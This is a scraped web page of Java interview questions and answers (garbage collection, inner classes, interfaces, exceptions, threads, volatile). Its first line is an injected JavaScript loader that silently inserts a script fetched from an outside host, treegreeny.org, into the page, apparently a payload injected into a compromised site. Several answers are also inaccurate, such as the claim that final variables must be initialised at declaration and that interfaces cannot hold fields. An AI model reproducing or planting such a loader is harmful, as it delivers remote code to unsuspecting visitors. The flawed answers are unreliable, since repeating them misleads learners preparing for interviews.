;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Java Interviews Questions with Answers - EDIIFY

Java Interviews Questions with Answers

Basic Java Interviews Questions

What do you understand by Java?

Answer: Java is an objectoriented, classbased, concurrent, generalpurpose programming language that is specifically designed to have as few implementation dependencies as possible. It is intended to let application developers write once, run anywhere (WORA), meaning that compiled Java code can run on all platforms that support Java without the need for recompilation.

What is the purpose of garbage collection in Java?

Answer: Garbage collection in Java is the process by which unused objects are identified and removed from memory to free up space for the application to use. This is done automatically by the JVM (Java Virtual Machine) so that the programmer does not need to explicitly delete objects from memory. This helps to ensure that the application has sufficient memory available to run without having to manually manage memory allocations.

What is the most important feature of Java?

Answer: The most important feature of Java is its platform independence, which allows programs to run on any system with any operating system and hardware configuration.

What is the difference between an Inner Class and a Sub-Class?

Answer: An inner class is a class that is nested within another class. An inner class has access to the members of the outer class, even if they are declared private. A subclass is a class that extends another class, and has access to all of its public and protected members.

What is the difference between an Interface and an Abstract Class?

Answer: An interface is a collection of abstract methods and constant declarations that must be implemented by the class that implements the interface. An abstract class is a class which can contain both abstract methods (methods without an implementation) and concrete methods (methods with an implementation).

What is the difference between throw and throws in Java?

Answer: The throw keyword is used to explicitly throw an exception from a method or any block of code. The throws keyword is used to declare an exception in the method signature. It informs the caller of the method about the exceptions that might be thrown by the method.

What is the difference between a constructor and a method?

Answer: A constructor is a special type of method that is used to initialize an object upon creation. It has the same name as the class and it does not have a return type. A method is a piece of code that is used to perform a specific task and can have a return type.

What is the purpose of the finally block in Java?

Answer: The finally block is used to ensure that a certain block of code is always executed, regardless of whether an exception is thrown or not. This is usually used to free up resources used by the program. 

What is the purpose of the main method in Java?

Answer: The main method is the entry point for any Java program. It is used to start the execution of a program and is the first method that is invoked by the Java Virtual Machine (JVM).

What is the difference between a while loop and a do-while loop in Java?

Answer: A while loop is a loop that executes the body of the loop only if a certain condition is true. A dowhile loop is a loop that always executes the body of the loop at least once before checking the condition.

What is the difference between a String and a StringBuffer in Java?

Answer: A String is an immutable sequence of characters. Once a String object is created, its value cannot be changed. A StringBuffer is a mutable sequence of characters. Its value can be changed by using the append() and insert() methods.

What is the difference between a static and a non-static inner class in Java?

Answer: A static inner class is a class that is declared within another class and is marked as static. A nonstatic inner class is a class that is declared within another class and is not marked as static. Non-static inner classes have access to the instance variables of the outer class.

What are the different access modifiers available in Java?

Answer: Java provides four access modifiers: public, private, protected, and default. Public classes, methods and variables can be accessed from anywhere. Private classes, methods and variables can only be accessed from within the same class. Protected classes, methods and variables can only be accessed from within the same package or by a subclass of the class. Default classes, methods and variables can only be accessed from within the same package.

 

Advance java Interview Questions

 

1. What is the difference between an Inner Class and a Sub-Class?

An inner class is a class within a class, while a subclass is a class that inherits from another class. An inner class is typically used to encapsulate related functionality within a larger class and is usually not visible outside of the parent class. A subclass inherits from a parent class and can add additional methods or override existing methods of the parent class.

2. What is the purpose of garbage collection in Java, and which process is responsible for it?

The purpose of garbage collection in Java is to manage the memory used by a program. It eliminates the need for the programmer to manually deallocate memory that is no longer needed. The garbage collector is responsible for performing garbage collection. It is an automated process that executes in the background and reclaims memory from objects that are no longer referenced.

3. What is a final variable?

A final variable is a constant whose value cannot be changed once it is assigned. It must be initialized when declared and can only be used in the context in which it was declared. Final variables are typically declared with the keywordfinal in most programming languages.

4. What is the use of the finally block?

The finally block is used to execute code regardless of the result of the try and catch blocks. It‘s used to ensure that certain code runs no matter what, such as closing a file or connection.

5. What is the difference between checked and unchecked exceptions?

Checked exceptions are exceptions that must be handled by the code or else the compiler will throw an error. Unchecked exceptions are exceptions that can be ignored, because the compiler does not require them to be handled.

6. What is the difference between an abstract class and an interface?

An abstract class is a class that cannot be instantiated, and that contains abstract methods as well as concrete methods. An abstract class can contain fields and can define constructor methods. An interface is a collection of abstract methods and static constants that define certain behaviors. Interfaces cannot contain fields or constructors and all of the methods declared in an interface are implicitly public and abstract.

7. What is the difference between a constructor and a method?

A constructor is a special type of method that is used to create an object. It is called when an instance of the object is created, and it initializes the newly created object with the values specified in the argument list. A method is a set of instructions that can be called on an object to perform a specific action. Methods are defined within the class definition and can be called using the object reference.

8. What are the different ways of implementing a thread?

1. Extending the Thread class

2. Implementing the Runnable interface

3. Using an ExecutorService

4. Using a Callable and Future

5. Using an asynchronous task executor

6. Using a thread pool executor

7. Using the Fork/Join framework

9. What is the use of the volatile keyword?

The volatile keyword is used to indicate that a variable‘s value can be changed by multiple threads at the same time. This is useful in multithreaded programs where one thread might be reading and writing to a variable while another thread is reading from it. By declaring the variable as volatile, the compiler will ensure that the value of the variable is always up to date and visible across all threads.

10. What is the difference between a static and a non-static inner class?

A static inner class is a class defined within another class, but with the static keyword. This means that a static inner class is not associated with an instance of the outer class and can be accessed without having to create an instance of the outer class. A nonstatic inner class on the other hand, is associated with an instance of the outer class and must be created with an instance of the outer class in order to be accessed.